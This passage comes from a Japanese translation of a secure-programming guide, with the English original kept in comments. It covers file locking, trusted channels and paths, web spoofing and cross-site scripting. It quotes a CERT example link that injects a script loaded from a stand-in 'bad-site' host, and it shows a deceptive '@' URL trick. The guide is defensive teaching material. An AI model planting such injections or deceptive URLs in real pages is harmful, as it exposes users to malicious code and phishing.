<QUOTE>... programs which rely on [the O&lowbar;CREAT and O&lowbar;EXCL flags of open(2)]
for performing locking tasks will contain a race condition. The solution
for performing atomic file locking using a lockfile is to create
a unique file on the same filesystem (e.g., incorporating
hostname and pid), use link(2) to make a link to
the lockfile and use stat(2) on the unique file to
check if its link count has increased to 2. Do
not use the return value of the link(2) call.</QUOTE>
-->
<QUOTE>
……プログラムが open(2)の O&lowbar;CREAT と O&lowbar;EXCL に依存している
場合、ロック機能を動かすと競合状態になることがあります。ロックファイルを使って
アトミックにファイルロックを実現するには、同じファイルシステム上にユニークな
ファイルを作成し(たとえば、ホスト名や pid を組み合わせて)、link(2)を使って
そのロックファイルにリンクを張ります。そして stat(2)を使って、そのユニークな
ファイルに対してリンク・カウントが 2 まで増えているかをチェックします。link(2)
システムコールの返り値は使用しないでください。
</QUOTE>
</para>

<para>
<!--
Obviously, this solution only works if all programs doing the locking
are cooperating, and if all non-cooperating programs aren't allowed to
interfere.
In particular, the directories you're using for file locking
must not have permissive file permissions for creating and removing files.
-->
どう考えてもこの解決策では、すべてのプログラムが協調してロックを行わないと
うまく動作しません。協調していないプログラムが干渉してもうまくありません。
特に、ファイルのロックに使っているディレクトリで、ファイルを作成・削除できる
パーミッションを許可してはいけません。
</para>

<para>
<!--
NFS version 3 added support for O_EXCL mode in open(2);
see IETF RFC 1813,
in particular the "EXCLUSIVE" value to the "mode" argument of "CREATE".
Sadly, not everyone has switched to NFS version 3 or higher at the time of this
writing, so you you can't depend on this yet in portable programs.
Still, in the long run there's hope that this issue will go away.
-->
NFS version 3 には O_EXCL モードを open(2)でサポートする機能が追加してあり
ます。IETF RFC 1813 を見て、特に「CREATE」に対する「モード」値の「EXCLUSIVE」
をよく見てください。
残念なことに、現状ではみんながみんな NFS version 3 以上に移行しているわけ
ではありません。したがって、移植性が必要なプログラムでは、この機能を頼みに
できません。
ただし長期的にみれば、この問題が解決する望みもあります。
</para>

<para>
<!--
If you're locking a device or the existence of a process on a local
machine, try to use standard conventions.
I recommend using the Filesystem Hierarchy Standard (FHS);
it is widely referenced by Linux systems, but it also tries to incorporate
the ideas of other Unix-like systems.
The FHS describes
standard conventions for such locking files, including naming, placement,
and standard contents of these files [FHS 1997].
If you just want to be sure that your server doesn't execute more than once
on a given machine, you should usually create a process identifier as
/var/run/NAME.pid with the pid as its contents.
In a similar vein, you should place lock files for things
like device lock files in /var/lock.
This approach has the minor disadvantage of leaving files hanging around
if the program suddenly halts,
but it's standard practice and that problem is
easily handled by other system tools.
-->
ローカルマシン上に存在するデバイスやプロセスをロックするなら、標準的な約束事を
守ってみてください。
Filesystem Hierarchy Standard (FHS)の利用を推奨します。
Linux システムは広く FHS を参考にしているだけでなく、他の Unix ライクな
システムのアイディアも盛り込もうとしています。
FHS はファイルのロックについても説明しており、名前の付け方、置き方、ファイル
の標準的な内容について盛り込んでいます[FHS 1997]。
マシンでサーバを 2 つ以上実行していないかを単に確かめたいなら、通常は
/var/run/NAME.pid としてプロセスの識別子を作成し、その中身には pid を入れて
おきます。
同じような状況で /var/lock のデバイス用ロックファイルのように、ロックファイル
を作成すべきです。
この解決方法では、プログラムが予期せずにハングアップすると、関連したファイル
が残ったままになってしまう点が欠点と言えば欠点です。しかしそれが普通のやり方
なので、他のシステムツールを使って簡単に解決できます。
</para>

<para>
<!--
It's important that the programs which are cooperating using files to
represent the locks use the same
directory, not just the same directory name.
This is an issue with networked systems: the FHS explicitly notes that
/var/run and /var/lock are unshareable, while /var/mail is shareable.
Thus, if you want the lock to work on a single machine, but not interfere
with other machines, use unshareable directories like /var/run
(e.g., you want to permit each machine to run its own server).
However, if you want all machines sharing files in a network to obey the
lock, you need to use a directory that they're sharing; /var/mail is
one such location.  See FHS section 2 for more information on this subject.
-->
協調して動作しているプログラムが、ファイルを使ってロックを提供するのに、
同じディレクトリ名を使うだけでなく、実体も同じディレクトリを使用するのが大切
です。
ネットワークを利用しているシステムでは、これが問題となります。FHS でははっきり
と、/var/run と /var/lock は共有しない、/var/mail は共有できると言及しています。
つまり、単独のマシン上で動作するロックが必要で、他のマシンから影響を受けない
なら、/var/run のような共有しないディレクトリを使用してください
(たとえば、それぞれのマシン独自でサーバが動作するのを許可したい場合)。
しかし、マシンすべてでネットワークにあるファイルを共有し、ロックに従いたい
なら、共有しているディレクトリを使う必要があります。/var/mail はそんな
ディレクトリ場所の 1 つです。FHS のセクション 2 にこの話題についてのさらに
詳しい情報があります。
</para>

</sect3>

<sect3 id="other-locking">
<!-- <title>Other Approaches to Locking</title> -->
<title>ロックを使う他の解決方法</title>

<para>
<!--
Of course, you need not use files to represent locks.
Network servers often need not bother; the mere act of binding to a port
acts as a kind of lock, since if there's an existing server bound to a given
port, no other server will be able to bind to that port.
-->
もちろん、ロックするのにファイルを使う必要はありません。
ネットワークサーバならこの点についてほとんど悩む必要はありません。あるポート
に接続してくる動作をロックとして扱うだけでよいからです。つまり、あるポートに
既に接続しているサーバがあれば、もうそれ以上そのポートにサーバは接続できなく
なります。

</para>

<para>
<!--
Another approach to locking
is to use POSIX record locks, implemented through fcntl(2) as a
``discretionary lock''.
These are discretionary, that is, using them requires the cooperation of the
programs needing the locks (just as the approach to using files to
represent locks does).
There's a lot to recommend POSIX record locks:
POSIX record locking is supported on nearly all Unix-like platforms
(it's mandated by POSIX.1), it
can lock portions of a file (not just a whole file), and it can handle the
difference between read locks and write locks.
Even more usefully, if a process dies, its locks are automatically removed,
which is usually what is desired.
-->
ロックを行う別の解決方法として、POSIX のレコード・ロックがあります。これは
fcntl(2) を使って「任意ロック(discretionary lock)」として実装している方法
です。
これらは任意に使えます。つまりこれらを使うには、ロックを必要としている
プログラムが協調して動作していなければなりません(ファイルを使ってロック
を行うのと同じように)。
POSIX レコード・ロックを推奨するのには、理由がたくさんあります。
POSIX レコード・ロックは、ほとんどすべての Unix ライクなプラットフォーム
でサポートしていて(POSIX.1 で公式に推奨しています)、ファイルの一部(ファイル
全体ではなく)をロックでき、読み書きそれぞれのロックを扱えます。
それにも増して、プロセスが死んだとしてもロックが自動的に解除されます。通常
これが望ましい動作です。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ???:  What about locking across NFS, flock, lockf?
XBoing doc file "problems.txt" says that lockf() works over NFS when
lockd daemon is running. -->
</para>

<para>
<!--
You can also use mandatory locks, which are based on System V's
mandatory locking scheme.
These only apply to files where the locked file's setgid bit is set, but
the group execute bit is not set.
Also, you must mount the filesystem to permit mandatory file locks.
In this case, every read(2) and write(2) is checked for locking;
while this is more thorough than advisory locks, it's also slower.
Also, mandatory locks don't port as widely to other Unix-like systems
(they're available on Linux and System V-based systems, but not necessarily
on others).
Note that processes with root privileges
can be held up by a mandatory lock, too, making it possible that
this could be the basis of a denial-of-service attack.
-->
強制ロックも使えます。これは System V の強制ロック技術をベースにしています。
ロックされたファイルの setgid ビットは設定してあるが、グループの実行ビットが
設定されていないファイルにだけ適用されます。
また、強制ファイルロックを許可するには、ファイルシステムをマウントしないと
いけません。
この場合、read(2) と write(2)それぞれが、ロックする時にチェックされます。
このやり方はアドバイザリ・ロックよりも徹底しているので、遅くなります。
また、強制ロックは、他の Unix ライクなシステムに広く移植されているわけでは
ありません(Linux と System V ベースのシステムでは利用できますが、その他は必ず
しもそうではありません)。
root 特権を持つプロセスも、強制ロックで止められますので、サービス拒否攻撃
の原因になります。
</para>

</sect3>

</sect2>

</sect1>

<sect1 id="trustworthy-channels">
<!-- <title>Trust Only Trustworthy Channels</title> -->
<title>信頼できる経路だけ信じること</title>

<para>
<!--
In general, only trust information (input or results)
from trustworthy channels.
For example,
the routines getlogin(3) and ttyname(3) return information that can be
controlled by a local user, so don't trust them for security purposes.
-->
一般的に、信頼できる経路からの情報(入力や結果)だけを信頼してください。
たとえば、ローカル・ユーザは、getlogin(3) や ttyname(3)が返す情報を制御
できるので、セキュリティ目的では信用してはいけません。
</para>

<para>
<!--
In most computer networks (and certainly for the Internet at large),
no unauthenticated transmission is trustworthy.
For example,
packets sent over the public Internet can be viewed and modified at any
point along their path, and arbitrary new packets can be forged.
These forged packets might include forged information about the sender
(such as their machine (IP) address and port) or receiver.
Therefore, don't use these values as your primary criteria for
security decisions unless you can authenticate them (say using cryptography).
-->
コンピュータで構成されたネットワーク(インターネット全体にも当てはまります)
の大部分において、伝送の正当さが証明されていなければ、信頼するに値しません。
たとえば、公開されたインターネット越しにやってくるパケットは、経路上のどの
場所でも見ることも、修正することも可能です。また、新しいどのパケットも改竄可能
です。
改竄されたパケットは、送り手や受け手の改竄した情報(マシンのアドレス(IP)や
ポート)が入っているかもしれません。
したがって、認証(たとえば、暗号を使って)できない限りは、その情報を第 1 の
基準として、セキュリティ上の判断をしないでください。
</para>

<para>
<!--
This means that, except under special circumstances,
two old techniques for authenticating users
in TCP/IP should often not be used as the sole authentication mechanism.
One technique is to limit users to ``certain machines'' by checking
the ``from'' machine address in a data packet; the other is to
limit access by requiring that the sender use a ``trusted'' port number
(a number less that 1024).
The problem is that in many environments an attacker can forge these values.
-->
つまり特殊な事情がない限り、TCP/IP でユーザ認証を行う場合は、認証の仕組み
として下記の 2 つの古臭いテクニックを単独では使用しないようにしてください。
テクニックの 1 つは、ユーザを「あるマシン」に制限する方法で、データパケット
中のマシンの「始点」アドレスをチェックします。もう一つの方法は、送り手が
「信頼できる」ポート番号(1024 番以下)の利用を要求することによって、アクセス
制限をかけます。
問題は、多くの環境下において、攻撃者がこれらの値を改竄できる点にあります。
</para>

<para>
<!--
In some environments, checking these values (e.g., the sending machine
IP address and/or port) can have some value, so
it's not a bad idea to support such checking as an option in a program.
For example, if a system runs behind a firewall, the firewall can't
be breached or circumvented, and the firewall stops
external packets that claim to be from the inside, 
then you can claim that any packet saying it's from the inside really does.
Note that you can't be sure the packet actually comes from the machine
it claims it comes from - so you're only countering external threats,
not internal threats.
However, broken firewalls, alternative paths, and mobile code make
even these assumptions suspect.
-->
ある環境下では、これらの値(送り手のマシンの IP アドレスやポート番号)の
チェックに意味がある場合もありますので、プログラムでそのようなチェックを
オプションとしてサポートするのは悪くない考えです。
たとえば、ファイアーウォールの背後にあるシステムで、ファイアーウォール
が破られたり、迂回されたりできない環境です。内部からきていると装っているが、
実は外部からやってきているパケットを抑えているなら、内部からやってきて
いることになっているパケットは、すべて本当に内部からきているといえます。
パケットは、実際にそのマシンがあるとしている場所からきていると確認できない
点に注意してください。したがって、対処できるのは外部からの脅威だけで、内部
からの脅威には対処できません。
しかし、ファイアーウォールがいかれていたり、別の経路があったり、モバイル用
の接続口があったりすると、この前提さえも疑わしいものになってしまいます。
</para>

<para>
<!--
The problem is supporting untrustworthy information as the only way
to authenticate someone.
If you need a trustworthy channel over an untrusted network,
in general you need some sort of cryptologic
service (at the very least, a cryptologically safe hash).
See <xref linkend="crypto">
for more information on cryptographic algorithms and protocols.
If you're implementing a standard and inherently insecure protocol
(e.g., ftp and rlogin), provide safe defaults and document
the assumptions clearly.
-->
問題は、誰かを認証する唯一の手段が、信頼できない情報である点です。
信頼できないネットワーク越しに、信頼できる経路が必要ならば、普通は何らかの
暗号作成技術(最低限でも暗号的に安全なハッシュ技術)の助けが必要となります。
暗号アルゴリズムと通信プロトコルについてさらに詳しい情報は、<xref 
linkend="crypto"> を見てください。
標準的に使われているものの、本来安全でないプロトコル(たとえば ftp とか 
rlogin)を実行しているなら、デフォルトを安全にしておき、ドキュメントには
前提条件を明記しておいてください。
</para>


<para>
<!--
The Domain Name Server (DNS) is widely used on the Internet to maintain
mappings between the names of computers and their IP (numeric) addresses.
The technique called ``reverse DNS'' eliminates some simple
spoofing attacks, and is useful for determining a host's name.
However, this technique is not trustworthy for authentication decisions.
The problem is that, in the end, a DNS request will be sent eventually
to some remote system that may be controlled by an attacker.
Therefore, treat DNS results as an input that needs
validation and don't trust it for serious access control.
-->
ドメイン・ネーム・サーバ(DNS)は広くインターネット上で利用されており、
コンピュータ名と IP アドレス(数値)の組合せを維持管理しています。
「DNS の逆引き」という方法を使えば、単純なスプーフィング攻撃の一部を
排除できますし、ホスト名を見つける時にも役立ちます。
しかしこのやり方は、認証を決めるほどの信頼性がありません。
つまるところ問題なのは、DNS のリクエストが、結局は攻撃者がコントロールして
いるかもしれないどこかのシステムに対して送られている可能性がある、という
点にあります。
したがって、DNS から得られた結果が正しい入力かどうかを確認する必要がある
ので、重要なアクセス制御の手段として信用できません。
</para>

<para>
<!--
Arbitrary email (including the ``from'' value of addresses)
can be forged as well.
Using digital signatures is a method to thwart many such attacks.
A more easily thwarted approach is to require emailing back and forth
with special randomly-created values, but for low-value transactions
such as signing onto a public mailing list this is usually acceptable.
-->
電子メール(「From」に書いてあるアドレスを含む)も改竄できます。
そのような攻撃は、電子署名を使えば防げる場合が多くあります。
もっと簡単な防御は、電子メールにランダムに発生させた値を添付してやりとり
する方法です。小額の金銭取引きもないような、公開メーリングリストへの
登録ならば十分利用できます。
</para>

<para>
<!--
Note that in any client/server model, including CGI, that the server
must assume that the client (or someone interposing between the
client and server) can modify any value.
For example, so-called ``hidden fields'' and cookie values can be
changed by the client before being received by CGI programs.
These cannot be trusted unless special precautions are taken.
For example, the hidden fields could be signed in a way the client
cannot forge as long as the server checks the signature.
The hidden fields could also be encrypted using a key only the trusted
server could decrypt (this latter approach is the basic idea behind the
Kerberos authentication system).
InfoSec labs has further discussion about hidden fields and applying
encryption at
<ulink url="http://www.infoseclabs.com/mschff/mschff.htm">http://www.infoseclabs.com/mschff/mschff.htm</ulink>.
In general, you're better off keeping data you care about at the server end
in a client/server model.
In the same vein,
don't depend on HTTP_REFERER for authentication in a CGI program, because
this is sent by the user's browser (not the web server).
-->
CGI を含むクライアント・サーバモデルでは、クライアント(もしくはクライアント
とサーバを仲介する何か)が、どんな値も変更できてしまう点に注意してください。
サーバ側はいつもこの点に気をつけていなければなりません。
例を挙げると、いわゆる「隠れフィールド」、クッキー等は、CGI プログラムが
値を受け取る前にクライアント側で値を変更できてしまいます。
特に予防処置をとらない限り、これらは信頼できません。
たとえば、隠しフィールドはサーバが署名をチェックしているなら、クライアントが
改竄できないように署名できるはずです。
隠しフィールドは、信頼できるサーバだけが復号できる鍵を使って暗号化もできます
(後者の解決方法は、Kerberos 認証機構が基本的な考えとして背景にあります)。
InfoSec labs(<ulink url="http://www.infoseclabs.com/mschff/mschff.htm">
http://www.infoseclabs.com/mschff/mschff.htm</ulink>)では隠しフィールドや
暗号化についてさらに突っ込んだ議論がされています。
一般的にクライアント・サーバモデルでは、サーバ側に配慮が必要なデータをとって
おいた方が賢明です。
同じ流れで、CGI プログラムで認証を行う場合、HTTP_REFERER に頼らないようにして
ください。これはユーザのブラウザが送ってくるものだからです(Web サーバでは
ありません)。
</para>

<para>
<!--
This issue applies to data referencing other data, too.
For example, HTML or XML allow you to include by reference other files
(e.g., DTDs and style sheets) that may be stored remotely.
However, those external references could be modified so that users
see a very different document than intended;
a style sheet could be modified to ``white out'' words at critical
locations, deface its appearance, or insert new text.
External DTDs could be modified to prevent use of the document
(by adding declarations that break validation) or insert different
text into documents [St. Laurent 2000].
-->
この問題は、他のデータが参照するデータにも当てはまります。
たとえば、HTML や XML は他のファイル(たとえば、DTD やスタイル・シート)
がリモートにあったとしても、参照ができるようになっています。
しかし、外部参照は変更できてしまうので、ユーザは意図したものとはまったく
違ったドキュメントを見ることになります。
スタイル・シートは重要な部分の単語を「白く塗りつぶして」変更できてしまい
ますので、見た目を汚くしたり、新しいテキストを挿入できたりしてしまいます。
外部の DTD は特定のドキュメントの使用を抑えたり(DTD の妥当さを崩す宣言を
加えることで)、ドキュメントに別のテキストを挿入したりして、変更が可能です
[St. Laurent 2000]。
</para>

</sect1>

<sect1 id="trusted-path">
<!-- <title>Set up a Trusted Path</title> -->
<title>高信頼パス(Trusted Path)を設ける</title>
<para>
<!--
The counterpart to needing trustworthy channels
(see <xref linkend="trustworthy-channels">)
is assuring users that they
really are working with the program or system they intended to use.
-->
信頼できる経路(<xref linkend="trustworthy-channels">参照)と同列なものに、
ユーザが使おうとしているプログラムやシステムが、本当に動作しているのかを
ユーザに対して保証することが挙げられます。
</para>

<para>
<!--
The traditional example is a ``fake login'' program.
If a program is written to look like the login screen of a system, then
it can be left running.
When users try to log in, the fake login program can then capture user
passwords for later use.
-->
これまでよくあった例が「ログインしたように見せかける(fake login)」
プログラムです。
プログラムがシステムのログイン画面のような表示をすれば、表示しっぱなしに
しておけます。
ユーザがログインしようとすると、ログインしたように見せかけるプログラムは
ユーザのパスワードを横取りし、後で利用します。
</para>

<para>
<!--
A solution to this problem is a ``trusted path.''
A trusted path is simply some mechanism that provides confidence that the
user is communicating with what the user intended to communicate with,
ensuring that attackers can't intercept or modify whatever information
is being communicated.
-->
この問題に対する解決策が、「高信頼パス」です。
高信頼パスは、ユーザにやりとりしたい相手とやりとりできる確かさを提供する
シンプルな仕組みです。やりとりする情報が何であっても、攻撃者が横取りしたり、
変更したりできないことを保証します。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- A gross simplification of the CC. See:
  http://www.commoncriteria.org/cc/part2/part2anftp.html -->
</para>

<para>
<!--
If you're asking for a password, try to set up trusted path.
Unfortunately, stock Linux distributions and many other Unixes don't
have a trusted path even for their normal login sequence.
One approach is to 
require pressing an unforgeable key before login, e.g.,
Windows NT/2000 uses ``control-alt-delete'' before logging in; since
normal programs in Windows can't intercept this key pattern, this
approach creates a trusted path.
There's a Linux equivalent, termed the
<ulink url="http://lwn.net/2001/0322/a/SAK.php3">Secure Attention Key
(SAK)</ulink>; it's recommended that this be mapped to
``control-alt-pause''.
Unfortunately, at the time of this writing SAK is immature and not
well-supported by Linux distributions.
Another approach for implementing a trusted path
locally is to control a separate display that only the login
program can perform.
For example, if only trusted programs could modify the keyboard lights
(the LEDs showing Num Lock, Caps Lock, and Scroll Lock),
then a login program could display a running pattern to indicate that
it's the real login program.
Unfortunately, since in current Linux normal users can change the LEDs,
the LEDs can't currently be used to confirm a trusted path.
-->
パスワードを要求する場合、高信頼パスを用意するように心がけてください。
残念ながら、そこらの Linux ディストリビューションや Unix には、通常のログイン
手続きにさえ、高信頼パスが用意されていません。
解決方法の 1 つに、ログインする前に改竄できないキーの押下を要求する
という手があります。たとえば、Windows NT や 2000 のユーザは、ログイン
する前に「control-alt-delete」キーを使います。一般的な Windows のプログラム
なら、このキーの組み合わせを横取りできません。このやり方が高信頼パスです。
Linux にも
<ulink url="http://lwn.net/2001/0322/a/SAK.php3">セキュア・アテンション・キー
(Secure Attention Key (SAK))</ulink> 
という同等な機能が存在しています。これによると、「control-alt-pause」キー
の使用を推奨しています。
あいにくこのドキュメントを書いている時点では、SAK は完成しているとはいえず、
Lihux ディストリビューションでもサポートしているとは言えません。
ローカルで高信頼パスを解決するもう 1 つの方法として、ログイン・プログラムだけ
が動作する独立したディスプレイを管理する手もあります。
たとえば、信頼できるプログラムだけがキーボードのライト(Num Lock や Caps Lock、
Scroll Lock を示す LED)を変更できるなら、ログイン・プログラムは動作パタンを
表示して、それが本当のログイン・プログラムであると示せます。
残念ながら現状 Linux の一般ユーザが LED を変更できますので、LED は高信頼パス
を確認するのに利用できません。
</para>

<para>
<!--
Sadly, the problem is much worse for network applications.
Although setting up a trusted path is desirable for network applications,
completely doing so is quite difficult.
When sending a password over a network, at the very least
encrypt the password between trusted endpoints.
This will at least prevent eavesdropping of passwords by those not
connected to the system, and at least make attacks harder to perform.
If you're concerned about trusted path for the actual communication, make
sure that the communication is
encrypted and authenticated (or at least authenticated).
-->
情けないことに、ネットワーク・アプリケーションとなるとさらに問題が深刻に
なります。
高信頼パスを設けるのは、ネットワーク・アプリケーションにとって意味があり
ますが、完璧に実行するのはかなり困難です。
ネットワーク越しにパスワードを送る時、せめて信頼できる終端同士間でパスワード
を暗号化してください。
こうすれば少なくとも、システムに接続していない攻撃者はパスワードを盗聴でき
ません。また少なくとも攻撃がやりづらくなります。
実際にやり取りするための高信頼パスが心配なら、必ずやり取りが暗号化され、
認証済みであるようにしてください(最低限、認証は済ましておくように)。
</para>

<para>
<!--
It turns out that this isn't enough to have a trusted path
to networked applications, in particular for web-based applications.
There are documented methods for fooling users of web browsers into thinking
that they're at one place when they are really at another.
For example, Felten [1997] discusses ``web spoofing'',
where users believe they're viewing one web page when in fact all the
web pages they view go through an attacker's site (who can then monitor
all traffic and modify any data sent in either direction).
This is accomplished by rewriting URL.
The rewritten URLs can be made nearly invisible
by using other technology (such as Javascript) to hide any possible
evidence in the status line, location line, and so on.
See their paper for more details.
Another technique for hiding such URLs is exploiting rarely-used URL
syntax, for example, the URL
``http://www.ibm.com/stuff@mysite.com''
is actually a request to view ``mysite.com'' (a potentially malevolent site)
using the unusual username ``www.ibm.com/stuff'.
If the URL is long enough,
the real material won't be displayed and users are unlikely to
notice the exploit anyway.
Yet another approach is to create sites with names deliberately similar
to the ``real'' site - users may not know the difference.
In all of these cases, simply encrypting the line doesn't help -
the attacker can be quite content in encrypting data while completely
controlling what's shown.
-->
結果として、ネットワーク・アプリケーションは高信頼パスが十分ではありません。
とりわけ Web ベースのアプリケーションではこれが顕著です。
よく知られた手法として、Web ブラウザのユーザをだまし、実際は別のところなのに、
ある場所にいると思わせる手があります。
たとえば、Felten[1997]では、「Web スプーフィング」を論じていてます。
ユーザがある Web サイトのページを見ていると信じていても、実はその Web 
サイトのすべてのページは、攻撃者のサイトを経由して見ているというものです
(攻撃者は、すべてのトラフィックを監視して、双方向に送られているどんなデータ
も変更できます)。
これは URL の書き換えによって実現しています。
URL の書き換えは、他の技術(Javascript のような)を使えば、ほとんど見えなく
することが可能で、ステータス行やロケーション行その他に形跡をほとんど残し
ません。
詳細はドキュメントを見てください。
他にも URL を隠す技術として、ほとんど使われていない URL の文法を悪用するもの
があります。たとえば、
「http://www.ibm.com/stuff@mysite.com」という URL は、実際には
「www.ibm.com/stuff」というユーザ名で「mysite.com」(悪意あるサイトかも
しれません)を見る要求を発行します。
URL が長ったらしければ本当のサイト名は表示されず、ユーザはどうしてやられたか
もほとんど気付かないでしょう。
さらにもう一つの方法に、サイトを作成してその名前をわざと「本当の」サイト
と同じような名前にしてしまう手があります。ユーザは区別がつかないかもしれ
ません。
上記すべてのケースにおいて、単に行を暗号化しても何にもなりません。攻撃者は
何が表示されるかを完璧に制御できるので、暗号化されたデータでまったく問題が
ありません。
</para>

<para>
<!--
Countering these problems is more difficult;
at this time I have no good technical solution for fully preventing
``fooled'' web users.
I would encourage web browser developers to counter such ``fooling'',
making it easier to spot.
If it's critical that your users correctly connect to the correct site,
have them use simple procedures to counter the threat.
Examples include having them halt and restart their browser, and making sure
that the web address is very simple and not normally misspelled
(so misspelling it is unlikely).
You might also want to gain ownership of some ``similar'' sounding DNS names,
and search for other such DNS names and material to find attackers.
-->
これらの問題を対処するのはさらに困難です。
現状では、「だまされた」Web ユーザを防ぐのに有効な技術的解決方法はわかり
ません。
Web ブラウザの開発者に対して、そのような「だまし」を簡単に見つけられること
で対抗するように働きかけるつもりです。
ユーザが正しいサイトに間違いなく接続できることが重要ならば、単純な手続きで
脅威に対抗しなければいけません。
たとえば、ブラウザを落として再起動し、Web のアドレスがとても解りやすくかつ
正しく入力してあるかを必ず確認します(そうすれば入力間違いは起こりえません)。
また、「似たような」発音である DNS 名いくつかの所有権を獲得してしまったり、
その他の DNS 名や実体を探し出して、攻撃者を見つけてしまってもよいでしょう。
</para>

</sect1>


<sect1 id="internal-check">
<!-- <title>Use Internal Consistency-Checking Code</title> -->
<title>内部で一貫性をチェックするコードを利用する</title>

<para>
<!--
The program should check to ensure that its call arguments and basic state
assumptions are valid.
In C, macros such as assert(3) may be helpful in doing so.
-->
プログラムは、呼び出す引数や基本状態の前提が安全なのかチェックしてください。
C では、assert(3)のようなマクロが、チェックに役立つと思います。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ??? See programming by contract, championed in Eiffel,
     and info on formal proofs. -->
</para>

</sect1>

<sect1 id="self-limit-resources">
<!-- <title>Self-limit Resources</title> -->
<title>リソースを自己制御する</title>

<para>
<!--
In network daemons, shed or limit excessive loads.
Set limit values (using setrlimit(2)) to limit the resources that will be used.
At the least, use setrlimit(2) to disable creation of ``core'' files.
For example, by default
Linux will create a core file that saves all program memory if the
program fails abnormally, but such a file might include passwords or
other sensitive data.
-->
ネットワーク・デーモンに対しては、過負荷を抑えたり、制限したりしてください。
制限値を設定して(setrlimit(2)を使って)、使用するリソースに制限をかけて
ください。
せめて setrlimit(2)を使って、「core」ファイルができないようにしてください。 
たとえば、デフォルトで Linux は core ファイルを作り、プログラムが異常な
状態で落ちた時に、プログラムすべてのメモリを保存します。しかしそのファイル
にはパスワードをはじめ、他にも機密のデータが入っているかもしれません。
</para>

</sect1>

<sect1 id="cross-site-malicious-content">
<!-- <title>Prevent Cross-Site Malicious Content</title> -->
<title>サイトにまたがって存在する悪意あるコンテンツを防ぐ</title>
<para>
<!--
Some secure programs accept data from one untrusted user (the attacker)
and pass that data on to a different user's application (the victim).
If the secure program doesn't protect the victim, the
victim's application (e.g., their web browser)
may then process that data in a way harmful to the victim.
This is a particularly common problem for web applications using HTML or XML,
where the problem goes by several names including ``cross-site scripting'',
``malicious HTML tags'', and ``malicious content.''
This book will call this problem ``cross-site malicious content,''
since the problem isn't limited to scripts or HTML, and its cross-site nature
is fundamental.
Note that this problem isn't limited to web applications, but since
this is a particular problem for them, the rest of this discussion
will emphasize web applications.
As will be shown in a moment, sometimes an attacker can cause a victim
to send data from the victim to the secure program, so the secure program
must protect the victim from himself.
-->
安全が必要なプログラムには、信頼できないユーザ(攻撃者)からデータを受け取ったり、
そのデータを別のユーザ・アプリケーション(犠牲者)に渡すものがあります。
安全が必要なプログラムが犠牲者を保護してあげなければ、犠牲者となるアプリ
ケーション(たとえば Web アプリケーション)は、そのデータを処理して、犠牲者に
害を及ぼします。
これは、HTML や XML を利用した Web アプリケーションではとりわけ良く見られる
問題で、「クロスサイト・スクリプティング」や「悪意ある HTML タグ」、
「悪意あるコンテンツ」といういくつかの呼び方で通っています。
このドキュメントでは、この問題を「サイトにまたがった悪意あるコンテンツ」と
呼びます。スクリプトや HTML に問題がしぼられているわけではなく、サイトに
またがる性質が問題の根本だからです。
この問題は Web アプリケーションに限ったものではありませんが、Web アプリ
ケーションにとっては特別に問題となるので、これからこのドキュメントでは Web 
アプリケーションに焦点を当てて論じていきます。
まもなく説明して行きますが、攻撃者は時に犠牲者がデータを安全が必要な
プログラムに対して送りつけるように仕向ける場合があります。そこで安全が必要
なプログラムは、犠牲者自身を守ってあげなければいけません。
</para>

<sect2 id="explain-cross-site">
<!-- <title>Explanation of the Problem</title> -->
<title>問題を説明する</title>

<para>
<!--
Let's begin with a simple example.
Some web applications are designed to
permit HTML tags in data input from users that will later
be posted to other readers (e.g., in a guestbook or ``reader comment'' area).
If nothing is done to prevent it,
these tags can be used by malicious users to attack other users by inserting
scripts,
Java references (including references to hostile applets), DHTML tags,
early document endings (via &lt;/HTML&gt;), absurd font size requests,
and so on.
This capability can be exploited for a wide range of effects,
such as exposing SSL-encrypted connections, accessing restricted web
sites via the client, violating domain-based security policies,
making the web page unreadable,
making the web page unpleasant to use (e.g., via annoying banners
and offensive material),
permit privacy intrusions (e.g., by inserting a web bug to learn exactly
who reads a certain page),
creating
denial-of-service attacks (e.g., by creating an ``infinite'' number
of windows), and even very destructive attacks (by inserting
attacks on security vulnerabilities such as scripting languages or
buffer overflows in browsers).
By embedding malicious FORM tags at the right place, an intruder
may even be able to trick users into revealing sensitive information
(by modifying the behavior of an existing form).
This is by no means an exhaustive list of problems, but
hopefully this is enough to convince you that this is a serious problem.
-->
まずは単純な例からはじめましょう。
Web アプリケーションには、HTML タグでユーザからのデータ入力を許可し、後で
他の読者に投稿するものがあります(たとえば、ゲストブックや「読者のコメント」
コーナー)。
何も防御する手段を講じなければ、タグを悪意あるユーザが利用して、スクリプトや 
Java に対する参照、DHTML タグ、ドキュメントの早すぎる終了(&lt;/HTML&gt; 
を使って)、ばかげたフォントサイズの要求等を入れ込むことで、他のユーザに攻撃
をかけられます。
この機能は、広範囲に影響を及ぼす可能性があります。たとえば、SSL で暗号化された
接続をさらしてしまったり、制限をかけている Web サイトにクライアント経由で
アクセスできたり、ドメインベースのセキュリティ・ポリシを侵害したり、
Web サイトのページを読めなくしたり、Web サイトのページを使うに耐えないもの
にしたり(たとえば、バーナーや不快な素材で困らせる)、プライバシー侵害を許し
てしまったり(たとえば、Web のバグを入れ込んで、誰がどのページを読んだか記録
してしまう)、サービス拒否攻撃を行ったり(たとえば、ウインドウを「無限に」開く)、
破壊的な攻撃(ブラウザのスクリプト言語やバッファオーバーフローのような
セキュリティ上の脆弱性を攻撃する)を行ったりします。
適当な場所に悪意ある FORM タグを組み込むことで、侵入者はユーザをだまして、
機密情報をさらさせることも可能になります(既存のフォームの動作を変更することで)。
これは問題を網羅したリストではありませんが、事は重大だ、と納得してもらうには
十分でしょう。
</para>

<para>
<!--
Most ``discussion boards'' have already discovered this problem,
and most already take steps to prevent it in text intended to be part of
a multiperson discussion.
Unfortunately, many web application developers don't
realize that this is a much more general problem.
<emphasis>Every</emphasis> data value that is sent from one
user to another can potentially be a source for cross-site
malicious posting, even if it's not an ``obvious'' case of an area
where arbitrary HTML is expected.
The malicious data can even be supplied by the user himself, since the
user may have been fooled into supplying the data via another site.
Here's an example (from CERT) of an HTML link that causes the user to
send malicious data to another site:
<programlisting>
 &lt;A HREF="http://example.com/comment.cgi?mycomment=&lt;SCRIPT
 SRC='http://bad-site/badfile'&gt;&lt;/SCRIPT&gt;"&gt; Click here&lt;/A&gt;
</programlisting>
-->
大部分の「掲示板」で既にこの問題が見つかっています。その内のほとんど
では、複数人の議論の一部のために用意したテキスト内で対処しています。
